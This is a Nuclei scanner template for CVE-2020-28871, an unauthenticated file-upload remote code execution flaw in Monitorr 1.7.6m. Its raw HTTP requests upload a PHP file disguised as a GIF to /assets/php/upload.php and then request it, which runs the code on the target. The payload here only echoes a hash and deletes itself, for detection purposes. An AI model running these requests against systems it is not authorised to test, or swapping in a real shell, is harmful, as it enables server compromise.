nuclei-templates/http/cves/2020/CVE-2020-28871.yaml

67 lines
2.8 KiB
YAML

id: CVE-2020-28871
info:
name: Monitorr 1.7.6m - Unauthenticated Remote Code Execution
author: gy741
severity: critical
description: Monitorr 1.7.6m is susceptible to a remote code execution vulnerability. Improper input validation and lack of authorization leads to arbitrary file uploads in the web application. An unauthorized attacker with web access to could upload and execute a specially crafted file, leading to remote code execution within the Monitorr.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized remote code execution on the affected system.
remediation: |
Upgrade to a patched version of Monitorr or apply the necessary security patches.
reference:
- https://www.exploit-db.com/exploits/48980
- https://lyhinslab.org/index.php/2020/09/12/how-the-white-box-hacking-works-authorization-bypass-and-remote-code-execution-in-monitorr-1-7-6/
- https://nvd.nist.gov/vuln/detail/CVE-2020-28871
- http://packetstormsecurity.com/files/163263/Monitorr-1.7.6m-Bypass-Information-Disclosure-Shell-Upload.html
- http://packetstormsecurity.com/files/170974/Monitorr-1.7.6-Shell-Upload.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2020-28871
cwe-id: CWE-434
epss-score: 0.96944
epss-percentile: 0.99667
cpe: cpe:2.3:a:monitorr_project:monitorr:1.7.6m:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: monitorr_project
product: monitorr
tags: cve,cve2020,unauth,fileupload,monitor,edb,intrusive,packetstorm,rce,monitorr_project
http:
- raw:
- |
POST /assets/php/upload.php HTTP/1.1
Host: {{Hostname}}
Accept-Encoding: gzip, deflate
Accept: text/plain, */*; q=0.01
Connection: close
Accept-Language: en-US,en;q=0.5
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------31046105003900160576454225745
Origin: http://{{Hostname}}
Referer: http://{{Hostname}}
-----------------------------31046105003900160576454225745
Content-Disposition: form-data; name="fileToUpload"; filename="{{randstr}}.php"
Content-Type: image/gif
GIF89a213213123<?php echo md5('CVE-2020-28871');unlink(__FILE__); ?>
-----------------------------31046105003900160576454225745--
- |
GET /assets/data/usrimg/{{tolower("{{randstr}}.php")}} HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- "d03c180355b797069cc047ff5606d689"
- type: status
status:
- 200
# digest: 4a0a0047304502210096cc32694ce7121628cbc5ccda4b085b6448003da5b86d82dfacface4ed0aa100220398ebbc34ffddf74fc17872633361e96430ba5935dad880db8dcea75edbd4988:922c64590222798bb761d5b6d8e72950